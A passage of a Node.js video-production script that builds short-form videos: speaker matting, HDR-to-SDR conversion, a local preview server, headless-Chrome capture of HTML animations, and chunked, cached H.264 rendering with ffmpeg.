    const jpgs = fs.readdirSync(dir).filter(f => f.endsWith('.' + ext)).sort(), count = m.sync ? parseInt(jpgs.at(-1) || '-1', 10) + 1 : jpgs.length;
    const [iw, ih] = crop ? [crop.w, crop.h] : probe(path.join(dir, jpgs[0]), 'stream=width,height').split('\n').map(Number);
    const alias = repeats(dir), reps = Object.keys(alias).length;
    out[id] = { count, w: iw, h: ih, key, ...(m.sync ? { sync: true } : {}), ...(m.alpha ? { ext } : {}), ...(crop ? { crop: crop.box } : {}), alias };
    log(`media ${id}: ${count} frames ${iw}x${ih}${crop ? `, visible box ${crop.box[2]}x${crop.box[3]}` : ''}${reps ? `, ${reps} repeats` : ''}`);
  }
  return out;
}

// Speaker matte (spec.cutout, matteSpans): person masks -> frames/matte/*.png (gray+alpha, the runtime composites them
// over the cam JPGs). On a Mac, Apple Vision (matte.swift, prebuilt or compiled once, platform.mjs) as 3 parallel workers
// (the Neural Engine saturates near 30 fps); elsewhere MediaPipe in headless Chrome (vision-web.mjs), one worker. Raw masks
// are cached by cam JPG content in frames/.matte-cache, so after a `cut` change only never-seen frames hit the model;
// the cheap EMA + blur pass reruns.
async function cutoutFrames(spec, tl, camKey, prevKey, camN) {
  const mm = mapSpec({ cutout: spec.cutout || [], matteSpans: spec.matteSpans || [], vanish: spec.vanish?.plate ? spec.vanish : null }, mapper(tl));
  const v = mm.vanish;   // vanish.plate: only the person turns to dust, so the whole vanish needs his matte
  const cs = [].concat(mm.cutout, mm.matteSpans.map(([from, to]) => ({ from, to })), v ? [{ from: v.from, to: (v.backAt ?? v.to) + (v.back ?? .45) }] : []);
  if (!cs?.length) return null;
  const n0 = Math.max(0, Math.min(...cs.map(c => Math.floor(c.from * FPS) - 2)));
  const n1 = Math.min(camN - 1, Math.max(...cs.map(c => Math.ceil((c.to + (c.mode === 'cam' ? 1.3 : 1.1)) * FPS))));
  const tool = visionTool('matte'), binH = tool.id, q = process.env.MATTE_QUALITY || 'accurate';
  const key = JSON.stringify([camKey, n0, n1, binH, q]), dir = P('frames/matte');
  if (key === prevKey && fs.existsSync(dir)) return key;
  const t0 = Date.now(), cache = P('frames/.matte-cache'), jobs = P('frames/.matte-jobs');
  for (const d of [dir, jobs, P('frames/cutout')]) fs.rmSync(d, { recursive: true, force: true });   // frames/cutout: old RGBA format
  for (const d of [dir, jobs, cache]) fs.mkdirSync(d, { recursive: true });
  const m0 = Math.max(0, n0 - 8), raw = {}, cost = {};
  for (let i = m0; i <= n1; i++) {
    raw[i] = path.join(cache, md5([tool.web ? 'w1' : 'r1', q, md5(fs.readFileSync(P('frames/cam', `${pad5(i)}.jpg`)))].join()) + '.png');
    cost[i] = fs.existsSync(raw[i]) ? 1 : 7;   // ~5 ms cached vs ~35 ms through Vision
  }
  // W contiguous slices of equal cost; each primes its EMA on the 8 frames before it (cheap once cached)
  const W = Math.max(1, Math.min(+flag('matte-workers', tool.web ? 1 : 3), Math.ceil((n1 - n0 + 1) / 60))), total = Object.values(cost).reduce((x, y) => x + y, 0);
  const fresh = Object.values(cost).filter(c => c > 1).length, slices = [];
  for (let i = n0, acc = 0, a = n0; i <= n1; i++) { acc += cost[i]; if (i === n1 || acc >= total * (slices.length + 1) / W) { slices.push([a, i]); a = i + 1; } }
  log(`matte: frames ${n0}-${n1}, ${fresh} through ${tool.web ? 'MediaPipe' : 'Vision'} (${n1 - m0 + 1 - fresh} cached), ${slices.length} workers`);
  const done = new Map(), N = n1 - n0 + 1; let shown = -1;
  const tick = () => { const d = [...done.values()].reduce((x, y) => x + y, 0), pc = Math.floor(100 * d / N);
    if (pc >= shown + 10) { shown = pc - pc % 10; const fps = d / ((Date.now() - t0) / 1e3); log(`matte ${pc}% (${d}/${N}) ${fps.toFixed(1)} fps, eta ${Math.round((N - d) / Math.max(fps, .1))}s`); } };
  await Promise.all(slices.map(([a, b], k) => new Promise((res, rej) => {
    const lines = []; for (let i = Math.max(m0, a - 8); i <= b; i++) lines.push(`${i} ${raw[i]} ${i >= a ? 1 : 0}`);
    const jf = path.join(jobs, `${k}.txt`); fs.writeFileSync(jf, lines.join('\n'));
    const p = spawn(tool.cmd, [...tool.args, P('frames/cam'), dir, jf], { stdio: ['ignore', 'pipe', 'inherit'] });
    p.stdout.on('data', d => { const m = [...String(d).matchAll(/matte (\d+)/g)].at(-1); if (m) { done.set(k, +m[1]); tick(); } });
    p.on('close', c => c ? rej(new Error(`matte exited ${c}`)) : (done.set(k, b - a + 1), tick(), res()));
  })));
  fs.rmSync(jobs, { recursive: true, force: true });
  const used = new Set(Object.values(raw).map(f => path.basename(f)));
  for (const f of fs.readdirSync(cache)) if (!used.has(f)) fs.unlinkSync(path.join(cache, f));   // keep the cache to the current cut
  log(`matte: ${N} frames ready in ${((Date.now() - t0) / 1e3).toFixed(1)}s`);
  return key;
}

function wordsDoc(tl) {
  const lines = ['# Words', '', 'Source time (what spec.js uses) -> short time. Regenerated by `short.mjs prepare`.', '',
    `Short duration: ${tl.duration.toFixed(2)}s (source ${tl.source}s, ${tl.keeps.length} keeps)`, '', '| src | short | word |', '|---|---|---|'];
  for (const w of tl.words) lines.push(`| ${w.s0 == null ? 'p+' + (w.start - tl.pause.t0).toFixed(2) : w.s0.toFixed(2)} | ${w.start.toFixed(2)} | ${w.text.replace(/\|/g, '/')} |`);
  fs.writeFileSync(P('files/words.md'), lines.join('\n') + '\n');
}

// spec.silent: a paper-only motion piece with no Tella take (no voice, no camera, no captions).
// spec.duration is the length; times in spec.js are plain seconds (SOURCE = SHORT).
function prepareSilent(spec) {
  const d = snap(spec.duration);
  const tl = { fps: FPS, speed: 1, duration: d, source: d, keeps: [[0, d, 0]], words: [] };
  fs.writeFileSync(P('assets/timeline.json'), JSON.stringify(tl));
  const prevF = fs.existsSync(P('assets/frames.json')) ? readJSON(P('assets/frames.json')) : {};
  const media = extractMedia(spec, prevF.media, tl);
  fs.writeFileSync(P('assets/frames.json'), JSON.stringify({ cam: 0, media }));
  log(`silent timeline: ${d}s, no voice, no camera`);
}

// iPhone takes are HDR (HLG, BT.2020): read as SDR they come out grey, washed and purple. Tone-map them once to SDR
// BT.709 with Apple's own mapping (avconvert H.264 preset = the iPhone's SDR export look); the HDR original stays as
// assets/source-hlg.mp4. Same frames and duration, the rotation is applied (ffmpeg already showed it rotated).
function sdrSource() {
  const s = P('assets/source.mp4');
  if (!fs.existsSync(s)) return;
  const trc = execFileSync(FFPROBE, ['-v', 'error', '-select_streams', 'v:0', '-show_entries', 'stream=color_transfer', '-of', 'default=nw=1:nk=1', s]).toString().trim();
  if (trc !== 'arib-std-b67' && trc !== 'smpte2084') return;
  if (process.platform !== 'darwin') { log(`WARNING: HDR take (${trc}), colors will look washed: convert it to SDR BT.709 first`); return; }
  const hdr = P('assets/source-hlg.mp4'), tmp = P('assets/source-sdr.mov');
  if (!fs.existsSync(hdr)) fs.copyFileSync(s, hdr, fs.constants.COPYFILE_FICLONE);
  execFileSync('avconvert', ['-s', hdr, '-o', tmp, '-p', 'Preset1920x1080', '--replace'], { stdio: ['ignore', 'ignore', 'inherit'] });
  ff(['-i', tmp, '-map', '0:v:0', '-map', '0:a:0?', '-c', 'copy', '-movflags', '+faststart', s]);
  fs.rmSync(tmp);
  log(`source: HDR (${trc}) tone-mapped to SDR BT.709, original kept as assets/source-hlg.mp4`);
}

async function prepare() {
  const spec = loadSpec();
  fs.mkdirSync(P('files'), { recursive: true }); fs.mkdirSync(P('assets'), { recursive: true });
  if (spec.silent) return prepareSilent(spec);
  sdrSource();
  sourceWav();
  const tl = tighten(spec);
  fs.writeFileSync(P('assets/timeline.json'), JSON.stringify(tl));
  log(`timeline: ${tl.source}s -> ${tl.duration.toFixed(2)}s, ${tl.keeps.length} keeps${tl.pause ? `, pause ${tl.pause.dur}s at ${tl.pause.t0}s` : ''}${tl.inserts ? `, ${tl.inserts.length} inserts` : ''}`);
  spliceVoice(tl); log('voice.wav spliced');
  wordsDoc(tl);
  const prevF = fs.existsSync(P('assets/frames.json')) ? readJSON(P('assets/frames.json')) : {};
  const srcStat = fs.statSync(P('assets/source.mp4'));
  const camKey = JSON.stringify([srcStat.size, Math.round(srcStat.mtimeMs), tl.keeps, tl.speed, spec.cam?.crop, tl.pause, tl.inserts, ...(gradeOf(spec) ? [gradeOf(spec)] : []), ...(spec.cam?.q != null ? [spec.cam.q] : [])]);
  let cam = prevF.cam;
  if (!(prevF.camKey === camKey && fs.existsSync(P('frames/cam')))) {
    cam = extractCam(spec, tl); log(`cam: ${cam} frames (expected ${Math.round(tl.duration * FPS)})`);
    if (gradeOf(spec)) gradeSheet(spec, gradeOf(spec));
  }
  plateFrame(spec);
  const media = extractMedia(spec, prevF.media, tl);
  const cutKey = await cutoutFrames(spec, tl, camKey, prevF.cutKey, cam);
  fs.writeFileSync(P('assets/frames.json'), JSON.stringify({ cam, camKey, media, cutKey }));
  log('prepare done');
}

// The review studio's first pass: the take with every micro silence cut (and spec.cut), full frame, the spliced
// voice, no motion design. Same timeline as prepare, so the studio's SHORT times map back to spec.js exactly.
function rough() {
  const spec = loadSpec();
  if (spec.silent) throw new Error('rough needs a take (this project is paper only)');
  fs.mkdirSync(P('files'), { recursive: true }); fs.mkdirSync(P('output'), { recursive: true });
  sourceWav();
  const tl = tighten(spec);
  fs.writeFileSync(P('assets/timeline.json'), JSON.stringify(tl));
  spliceVoice(tl); wordsDoc(tl);
  if (tl.pause || tl.inserts) log('rough: spec.pause / spec.inserts are not frozen in the rough cut, the voice runs ahead after them');
  const out = P('output', `${path.basename(PROJ)}-rough.mp4`);
  ff(['-threads', '0', '-i', P('assets/source.mp4'), '-i', P('assets/voice.wav'), '-map', '0:v:0', '-map', '1:a',
    '-vf', `fps=${FPS},select='${keepSelect(tl)}',setpts=N/${FPS * (tl.speed || 1)}/TB,scale=-2:'min(1080,ih)'`, '-r', String(FPS),
    ...(hasEncoder('h264_videotoolbox') ? ['-c:v', 'h264_videotoolbox', '-b:v', '8M'] : ['-c:v', 'libx264', '-preset', 'veryfast', '-crf', '22']), '-pix_fmt', 'yuv420p',
    ...AAC(), '-t', tl.duration.toFixed(3), '-movflags', '+faststart', out]);
  log(`rough: ${tl.source}s -> ${tl.duration.toFixed(2)}s, ${tl.keeps.length} keeps -> ${out}`);
}

// ---------------------------------------------------------------- browser
const MIME = { '.wav': 'audio/wav', '.otf': 'font/otf', '.woff2': 'font/woff2', '.js': 'text/javascript', '.mjs': 'text/javascript', '.html': 'text/html', '.json': 'application/json', '.jpg': 'image/jpeg', '.png': 'image/png', '.ttf': 'font/ttf', '.css': 'text/css' };
function serve(sinks = {}, port = 0, home = null) {
  const srv = http.createServer((req, res) => {
    const u = decodeURIComponent(req.url.split('?')[0]);
    if (home && u === '/') { res.writeHead(302, { location: home }); return res.end(); }
    // POST /sink/<k>?n=<frames done>[&end=1]: encoded video bytes of one work unit from a render worker, in order
    if (req.method === 'POST' && u.startsWith('/sink/')) {
      const k = u.slice(6), sk = sinks[k];
      if (!sk) { res.writeHead(404); return res.end(); }
      req.on('data', b => sk.data(b));
      req.on('end', () => { const q = new URL(req.url, 'http://x').searchParams; sk.done = +q.get('n'); sk.tick?.(); if (q.has('end')) sk.end?.(); res.end(); });
      return;
    }
    // /style.json: the project's style snapshot ({} when none), /style-font: its font file (style.font.src)
    if (u === '/style.json') { res.writeHead(200, { 'content-type': MIME['.json'], 'cache-control': 'no-store' }); return res.end(JSON.stringify(loadStyle() || {})); }
    const fsrc = u === '/style-font' && loadStyle()?.font?.src;
    const f = fsrc ? expand(fsrc) : u.startsWith('/engine/') ? path.join(ENGINE, u.slice(8)) : u.startsWith('/p/') ? projFile(u.slice(3)) : null;
    if (!f || !fs.existsSync(f) || fs.statSync(f).isDirectory()) { console.log('  page 404:', u); res.writeHead(404); return res.end(); }
    res.writeHead(200, { 'content-type': MIME[path.extname(f)] || 'application/octet-stream', 'cache-control': 'no-store' });
    fs.createReadStream(f).pipe(res);
  });
  return new Promise(r => srv.listen(port, '127.0.0.1', () => r(srv)));
}

// Live preview: the same runtime as the render, played in a normal Chrome tab (no encode, no mp4). render(t) runs on
// each animation frame at the time of the audio clock (assets/mix.wav, else the spliced voice). spec.js is re-read on
// every reload, so edit it and press R. Long-lived: run it in the background, --port fixed (default 41190).
async function preview() {
  const [SW, SH] = stageWH(), [WW, HH] = frameWH(), port = +flag('port', 41190), scale = +flag('scale', .5);
  const home = `/engine/short.html?scale=${scale}&w=${SW}&h=${SH}&ow=${WW}&oh=${HH}&play=1`;
  await serve({}, port, home);
  log(`preview: http://127.0.0.1:${port}/ (${path.basename(PROJ)}, scale ${scale})`);
  await new Promise(() => {});
}

// No GPU switches: headless Chrome on Apple silicon already draws the canvas, rasterizes and encodes on the GPU (ANGLE
// Metal). Benchmarked 2026-10-21 with --use-angle=metal --enable-gpu-rasterization --ignore-gpu-blocklist: no gain.
// One headless Chrome with the runtime booted. Each worker gets its own browser, so its own renderer process.
// projects prepared before the mask-only matte still have RGBA frames/cutout: rematte instead of rendering him away
async function ensureMatte() {
  const f = fs.existsSync(P('assets/frames.json')) && readJSON(P('assets/frames.json'));
  if (f?.cutKey && !fs.existsSync(P('frames/matte'))) { log('matte missing (old format), re-running prepare'); await prepare(); }
}

const bootLog = b => b && log(`boot: fonts ${b.fonts?.toFixed(0)} ms, paper background ${b.bg?.toFixed(0)} ms, ready at ${b.ready?.toFixed(0)} ms`);

// One headless Chrome on the runtime page, driven over its DevTools pipe (chrome.mjs): the page boots ~0.3 s sooner than
// through Playwright (benchmark 2026-10-21, M4 Max: 0.9 -> 0.6 s for 2 render workers). Playwright stays as the fallback
// when that Chrome does not start; an error of the page itself (window.READY_ERROR) is thrown as is.
async function openPage(srv, scale) {
  const [WW, HH] = frameWH(), [SW, SH] = stageWH();
  const url = `http://127.0.0.1:${srv.address().port}/engine/short.html?scale=${scale}&w=${SW}&h=${SH}&ow=${WW}&oh=${HH}${flag('ahead') ? '&ahead=' + flag('ahead') : ''}`;
  try {
    const pg = await openChrome(CHROME, url, { width: WW / 2, height: HH / 2, args: ['--renderer-process-limit=1'] });
    if (flag('bench')) bootLog(await pg.evaluate(() => window.PERF_BOOT));
    return { page: { evaluate: pg.evaluate }, close: pg.close };
  } catch (e) { if (e.page) throw e; log(`chrome pipe failed (${e.message.split('\n')[0]}), Playwright instead`); }
  const { chromium } = await import('playwright-core');
  // launchServer + kill: a graceful browser.close() of headless Chrome takes ~2.4 s on macOS, kill() ~30 ms. Nothing is
  // lost: every caller awaits its last result (encodeEnd awaits its final POST) before closing.
  const bs = await chromium.launchServer({ executablePath: CHROME, headless: true, args: ['--renderer-process-limit=1', '--disable-extensions', '--mute-audio'] });
  const browser = await chromium.connect(bs.wsEndpoint()), kill = () => bs.kill();
  const page = await browser.newPage({ viewport: { width: WW / 2, height: HH / 2 } });
  page.on('console', m => { if (m.type() === 'error' || m.text().startsWith('[rt]')) console.log('  page:', m.text()); });
  page.on('pageerror', e => console.log('  pageerror:', e.message));
  await page.goto(url);
  await page.waitForFunction(() => window.READY === true || window.READY_ERROR, null, { timeout: 60000 });
  const err = await page.evaluate(() => window.READY_ERROR);
  if (err) { await kill(); throw new Error(err); }
  if (flag('bench')) bootLog(await page.evaluate(() => window.PERF_BOOT));
  return { page, close: kill };
}

async function withPage(scale, fn) {
  const srv = await serve(), pg = await openPage(srv, scale).catch(e => { srv.close(); throw e; });
  try { return await fn(pg.page); } finally { await pg.close(); srv.close(); }
}

async function stills() {
  await ensureMatte();
  const tl = readJSON(P('assets/timeline.json')), m = mapper(tl);
  let ts = pos.length ? pos.map(x => x.endsWith('s') ? m(parseFloat(x)) : parseFloat(x)) : Array.from({ length: 12 }, (_, i) => (i + .5) * tl.duration / 12);
  const dir = P('stills'); fs.mkdirSync(dir, { recursive: true });
  for (const f of fs.readdirSync(dir)) if (/^t\d/.test(f)) fs.unlinkSync(path.join(dir, f));
  const scale = +flag('scale', 1), png = !!flag('png', false);   // --png: lossless stills (frame-to-frame motion QC)
  await withPage(scale, async page => {
    for (const t of ts) {
      const b64 = await page.evaluate(([t, png]) => png ? window.framePNG(t) : window.frameJPEG(t, .9), [t, png]);
      fs.writeFileSync(path.join(dir, `t${t.toFixed(2).padStart(5, '0')}.${png ? 'png' : 'jpg'}`), Buffer.from(b64, 'base64'));
    }
  });
  const files = fs.readdirSync(dir).filter(f => /^t\d.*\.(jpg|png)$/.test(f)).sort();
  const cols = Math.min(6, files.length), rows = Math.ceil(files.length / cols), CW = frameWH()[0] / 4, CH = frameH() / 4;
  ff([...files.flatMap(f => ['-i', path.join(dir, f)]), '-filter_complex',
    files.map((f, i) => `[${i}]scale=${CW}:${CH}[v${i}]`).join(';') + ';' +
    (files.length === 1 ? '[v0]null' : files.map((f, i) => `[v${i}]`).join('') + `xstack=inputs=${files.length}:layout=${files.map((f, i) => `${(i % cols) * CW}_${Math.floor(i / cols) * CH}`).join('|')}:fill=black`),
    '-frames:v', '1', '-q:v', '3', path.join(dir, 'contact.jpg')]);
  log(`${files.length} stills + contact.jpg in ${dir} (row-major: ${files.map(f => f.slice(1, -4)).join(' ')})`);
}

// ---------------------------------------------------------------- capture
// One motion component (an app UI played, an illustration that acts) written as an HTML page -> a clip the spec plays as
// `media`. The page draws its whole state at t seconds in window.setT(t) (no CSS transitions, no timers, no rAF loops),
// so every frame is exact: one screenshot per 1/fps. --alpha keeps the transparency (png in mov, for an `overlay` scene
// over the camera), else near-lossless H.264 (an actor card). The engine fonts are loaded into the page by family name
// (Bricolage Grotesque, DM Sans, Inter, JetBrains Mono, Archivo, Instrument Serif). Writes the clip and
// stills/<name>-sheet.jpg (the frames at --at, else 8 even ones, over gray) to check it without a render.
async function capture() {
  if (!pos[0] || !(+flag('dur', 0) > 0)) throw new Error('usage: capture <project> <page.html> --dur <s> [--size 1080x1920] [--alpha] [--fps 30] [--out assets/<name>.mov|mp4] [--at t1,t2,...]');
  const html = path.resolve(PROJ, expand(pos[0])), name = path.basename(html, '.html'), dur = +flag('dur');
  const [w, h] = String(flag('size', '1080x1920')).split('x').map(Number), alpha = !!flag('alpha', false), fps = +flag('fps', FPS);
  const o = flag('out', true), out = path.resolve(PROJ, expand(o === true ? `assets/${name}.${alpha ? 'mov' : 'mp4'}` : o));
  const n = Math.max(1, Math.round(dur * fps)), tmp = fs.mkdtempSync(path.join(os.tmpdir(), `capture-${name}-`));
  const faces = fs.readFileSync(path.join(ENGINE, 'short.html'), 'utf8').match(/@font-face[^}]*\}/g).join('\n')
    .replace(/url\('fonts\//g, `url('${pathToFileURL(path.join(ENGINE, 'fonts')).href}/`);
  const { chromium } = await import('playwright-core');
  const bs = await chromium.launchServer({ executablePath: CHROME, headless: true, args: ['--disable-extensions', '--mute-audio', '--allow-file-access-from-files'] });
  const browser = await chromium.connect(bs.wsEndpoint());   // killed at the end, not closed (see openPage)
  try {
    const page = await browser.newPage({ viewport: { width: w, height: h }, deviceScaleFactor: 1 });
    page.on('pageerror', e => console.log('  pageerror:', e.message));
    page.on('console', m => { if (m.type() === 'error') console.log('  page:', m.text()); });
    page.on('requestfailed', r => console.log('  missing:', r.url()));
    await page.goto(pathToFileURL(html).href);
    await page.addStyleTag({ content: faces });
    await page.evaluate(() => Promise.all([...document.fonts].map(f => f.load().catch(() => {})))
      .then(() => Promise.all([...document.images].map(i => i.decode().catch(() => {})))));
    if (!(await page.evaluate(() => typeof window.setT === 'function'))) throw new Error(`${html}: no window.setT(t)`);
    for (let i = 0; i < n; i++) {
      await page.evaluate(t => window.setT(t), i / fps);
      fs.writeFileSync(path.join(tmp, `${pad5(i)}.png`), await page.screenshot({ omitBackground: alpha, type: 'png' }));
    }
  } finally { await bs.kill(); }
  fs.mkdirSync(path.dirname(out), { recursive: true });
  ff(['-framerate', String(fps), '-i', path.join(tmp, '%05d.png'), ...(alpha ? ['-c:v', 'png', '-pix_fmt', 'rgba']
    : ['-c:v', 'libx264', '-crf', '10', '-preset', 'medium', '-pix_fmt', 'yuv420p', ...BT709]), out]);
  const at = flag('at', null), ts = at && at !== true ? String(at).split(',').map(Number) : Array.from({ length: 8 }, (_, i) => i * dur / 7);
  const ids = ts.map(t => Math.min(n - 1, Math.max(0, Math.round(t * fps)))), cols = Math.min(4, ids.length), CW = Math.round(w / 4), CH = Math.round(h / 4);
  fs.mkdirSync(P('stills'), { recursive: true });
  ff([...ids.flatMap(i => ['-i', path.join(tmp, `${pad5(i)}.png`)]), '-filter_complex',
    ids.map((x, i) => `color=c=0x808080:s=${CW}x${CH}[g${i}];[${i}]scale=${CW}:${CH}[s${i}];[g${i}][s${i}]overlay=shortest=1[v${i}]`).join(';') + ';' +
    (ids.length === 1 ? '[v0]null' : ids.map((x, i) => `[v${i}]`).join('') + `xstack=inputs=${ids.length}:layout=${ids.map((x, i) => `${(i % cols) * CW}_${Math.floor(i / cols) * CH}`).join('|')}:fill=gray`),
    '-frames:v', '1', '-q:v', '3', P('stills', `${name}-sheet.jpg`)]);
  for (const f of fs.readdirSync(tmp)) fs.unlinkSync(path.join(tmp, f)); fs.rmdirSync(tmp);
  log(`capture ${name}: ${n} frames ${w}x${h}${alpha ? ' alpha' : ''} -> ${out.startsWith(PROJ) ? path.relative(PROJ, out) : out} (${(n / fps).toFixed(2)} s) + stills/${name}-sheet.jpg (t ${ts.map(t => t.toFixed(2)).join(' ')})`);
}

// decode check of an Annex B piece (software decode, about 1 s per 30 s of 1080x1920): resolves, or rejects with the error
const decodes = (buf, a, b) => new Promise((res, rej) => {
  const p = spawn(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-f', 'h264', '-i', '-', '-f', 'null', '-'], { stdio: ['pipe', 'ignore', 'pipe'] }); let e = '';
  p.stderr.on('data', d => { e += d; }); p.stdin.on('error', () => {}); p.once('error', rej);
  p.once('close', c => c ? rej(new Error(`frames ${a}-${b} do not decode: ${e.slice(-300)}`)) : res());
  p.stdin.end(buf);
});

// Render cache keys. global: the engine code, style, timeline, prepared frames, the output settings and every spec field
// that is not windowed. Per chunk: the windowed timed items that can draw in it (scenes, actors, broll: from - pre - 2
// to to + 2) and the layout/zoom keys that move it (the last key 6 s before the chunk onward: the spring has settled by then),
// plus the size and mtime of every image or video file those items name.
const CH = 300;
function renderChunks(tl, n0, n1, fps, W, H, rate, scale) {
  const raw = loadSpec(), spec = mapSpec(raw, mapper(tl)), fstat = f => { try { const s = fs.statSync(f); return `${s.size}:${s.mtimeMs}`; } catch { return '-'; } };
  const eng = ['short.html', ...fs.readdirSync(path.join(ENGINE, 'lib')).filter(f => f.endsWith('.js')).map(f => 'lib/' + f)].map(f => fs.readFileSync(path.join(ENGINE, f)));
  const items = ['scenes', 'actors', 'broll'].flatMap(k => (spec[k] || []).map(o => ({ k, o, a: typeof o.from === 'number' ? o.from - (o.pre || 0) - 2 : -1e9, b: typeof o.from === 'number' ? (o.to ?? 1e9) + 2 : 1e9 })));
  const keyed = [['layout', spec.layout?.keys], ['zoom', spec.zoom?.keys]].filter(([, k]) => k?.length);
  const rest = { ...spec, scenes: 0, actors: 0, broll: 0, layout: { ...spec.layout, keys: 0 }, zoom: { ...spec.zoom, keys: 0 } };
  const files = o => { const out = []; JSON.stringify(o, (k, v) => (typeof v === 'string' && /\.(png|jpe?g|webp|gif|svg|mp4|mov)$/i.test(v) && out.push(v + '=' + fstat(projFile(expand(v)))), v)); return out; };
  // assets/source.mp4 too: a recomposed source (new crops, same frame count) rewrites the camera frames, not frames.json
  const st = loadStyle(), glob = md5(Buffer.concat([...eng, Buffer.from(JSON.stringify([st, st?.font?.src && fstat(expand(st.font.src)), rest, files(rest), W, H, fps, rate, scale, CH, fstat(P('assets/source.mp4'))]))]
    .concat(['assets/timeline.json', 'assets/frames.json'].filter(f => fs.existsSync(P(f))).map(f => fs.readFileSync(P(f))))));
  const dir = P('.cache/render', `${W}x${H}@${fps}`); fs.mkdirSync(dir, { recursive: true });
  const out = [];
  for (let c = Math.floor(n0 / CH); c * CH < n1; c++) {
    const a = Math.max(n0, c * CH), b = Math.min(n1, (c + 1) * CH), t0 = a / fps, t1 = b / fps;
    const its = items.filter(i => i.b >= t0 && i.a <= t1).map(i => [i.k, i.o, files(i.o)]);
    const ks = keyed.map(([n, k]) => { const j = Math.max(0, k.findLastIndex(e => e[0] <= t0 - 6)); return [n, k.slice(j).filter(e => e[0] < t1 + 1 / fps)]; });
    out.push({ id: c, a, b, f: path.join(dir, `${md5(glob + JSON.stringify([a, b, its, ks]))}.h264`) });
  }
  return out;
}

// The mp4 mux, started before the encode: chunks go into ffmpeg's stdin in order as soon as each one is there (cached,
// or just encoded), so most of the parsing overlaps the encode and no joined .h264 is written. Every chunk starts on an
// IDR with its own SPS/PPS, so the Annex B streams concatenate as is. Chrome's SPS timing confuses the raw parser:
// rebuild timestamps from the frame index (setts), tag bt709 limited range, in the SPS and in the MP4 colr box (left
// alone, the box keeps WebCodecs' sRGB transfer and players trust the box). Written to <out>.part, renamed when done,
// so a failed render leaves the previous video in place.
function muxer(chunks, out, fps) {
  const part = out + '.part', p = spawn(FFMPEG, ['-hide_banner', '-loglevel', 'error', '-y', '-f', 'h264', '-i', '-', '-c:v', 'copy', '-bsf:v',
    `h264_metadata=video_full_range_flag=0:colour_primaries=1:transfer_characteristics=1:matrix_coefficients=1,setts=ts=N/(${fps}*TB):duration=1/(${fps}*TB)`,
    ...BT709, '-video_track_timescale', String(fps * 1000), '-movflags', '+faststart', '-f', 'mp4', part], { stdio: ['pipe', 'inherit', 'inherit'] });
  const done = new Promise((res, rej) => p.on('close', c => c ? rej(new Error('ffmpeg mux exit ' + c)) : res())); done.catch(() => {});
  p.stdin.on('error', () => {});   // a dead ffmpeg surfaces through `done`
  const write = b => new Promise(r => p.stdin.write(b, () => r()));
  let i = 0, chain = Promise.resolve();
  const feed = () => (chain = chain.then(async () => { for (; i < chunks.length && chunks[i].ready; i++) await write(chunks[i].buf || fs.readFileSync(chunks[i].f)); }));
  return {
    feed,
    async end() { await feed(); if (i < chunks.length) throw new Error('mux: chunk missing'); p.stdin.end(); await done; fs.renameSync(part, out); },
    abort() { p.kill(); try { fs.unlinkSync(part); } catch {} },
  };
}

async function render() {
  await ensureMatte();
  const tl = readJSON(P('assets/timeline.json'));
  const scale = +flag('scale', 1), fps = +flag('fps', FPS), draft = scale < 1;
  const t0 = +flag('from', 0), t1 = Math.min(tl.duration, +flag('to', tl.duration));
  const n0 = Math.round(t0 * fps), n1 = Math.round(t1 * fps), N = n1 - n0;
  fs.mkdirSync(P('output'), { recursive: true });
  const out = flag('out') ? path.resolve(PROJ, flag('out')) : P('output', draft ? 'draft-video.mp4' : 'video.mp4');   // --out <path>: e.g. a test clip
  const W = Math.round(frameWH()[0] * scale / 2) * 2, H = Math.round(frameH() * scale / 2) * 2;
  const rate = draft ? 4e6 : W * H > 1.5e6 ? 32e6 : 18e6;
  // workers: parallel Chrome renderers sharing 2 s work units (default 2; the hardware encoder is the limit: 3 workers or a
  // deeper encode queue are 5-10 % slower, benchmark 2026-10-21 on an M4 Max; --workers n)
  const K = Math.max(1, Math.min(+flag('workers', 2), Math.floor(N / 30) || 1));
  const start = Date.now(), jpeg = () => renderJPEG({ scale, fps, n0, N, out, W, H, draft, start });
  if (flag('jpeg')) return jpeg();
  // chunk cache: 10 s chunks on absolute frame numbers, each keyed by what can change its pixels. A spec fix
  // re-encodes only the chunks it touches; the rest are reused byte for byte (each chunk opens on an IDR). --fresh skips it.
  const chunks = renderChunks(tl, n0, n1, fps, W, H, rate, scale), fresh = !!flag('fresh');
  for (const c of chunks) c.hit = c.ready = !fresh && fs.existsSync(c.f);
  let mux = null;
  const todo = chunks.filter(c => !c.hit), N2 = todo.reduce((x, c) => x + c.b - c.a, 0);
  log(`render ${N} frames ${W}x${H}@${fps}: ${chunks.length - todo.length}/${chunks.length} chunks cached, ${N2} frames to encode, ${Math.min(K, todo.reduce((x, c) => x + Math.ceil((c.b - c.a) / (2 * fps)), 0))} workers -> ${out}`);
  let fallback = null;
  if (todo.length) {
    // work units: 2 s pieces of the chunks to encode, each opening on a keyframe (the same keyframes as one encoder per
    // chunk). Each worker starts on its own contiguous run, an equal share of the frames (its image cache stays warm); a
    // worker that runs out takes the back half of the longest run left, so the workers finish together instead of one
    // waiting on the other's last 10 s chunk. A chunk lands in the cache (.part, then rename) once all its units are in.
    const G = 2 * fps, units = [];
    for (const c of todo) { c.parts = []; for (let a = c.a; a < c.b; a += G) { const u = { c, a, b: Math.min(c.b, a + G), bufs: [] }; c.parts.push(u); units.push(u); } c.left = c.parts.length; }
    const nw = Math.min(K, units.length), runs = Array.from({ length: nw }, () => []);
    { let acc = 0; for (const u of units) { runs[Math.min(nw - 1, Math.floor((acc + (u.b - u.a) / 2) * nw / N2))].push(u); acc += u.b - u.a; } }
    let steals = 0;
    const next = run => {
      if (!run.length) { const v = runs.reduce((m, r) => r.length > m.length ? r : m); if (v.length) { steals++; run.push(...v.splice(v.length >> 1)); } }
      return run.shift();
    };
    const sinks = {}, perf = {}, writes = []; let lastPct = -1, base = 0, uid = 0, bad = null;
    const tick = () => {
      const d = base + Object.values(sinks).reduce((x, s) => x + s.done, 0), pct = Math.floor(d / N2 * 20) * 5;
      if (pct !== lastPct) { lastPct = pct; const el = (Date.now() - start) / 1000; log(`${pct}% (${d}/${N2}) ${(d / el).toFixed(1)} fps, eta ${Math.round((N2 - d) / (d / el || 1))}s`); }
    };
    const finish = u => {   // every frame of unit u is in
      const done = sinks[u.id].done; delete sinks[u.id]; base += u.b - u.a;
      if (done !== u.b - u.a) bad ||= new Error(`frames ${u.a}-${u.b}: the encoder returned ${done} of ${u.b - u.a} frames`);
      // decode check: the unit opens on an IDR with its SPS/PPS, so it decodes on its own, while the hardware encoder
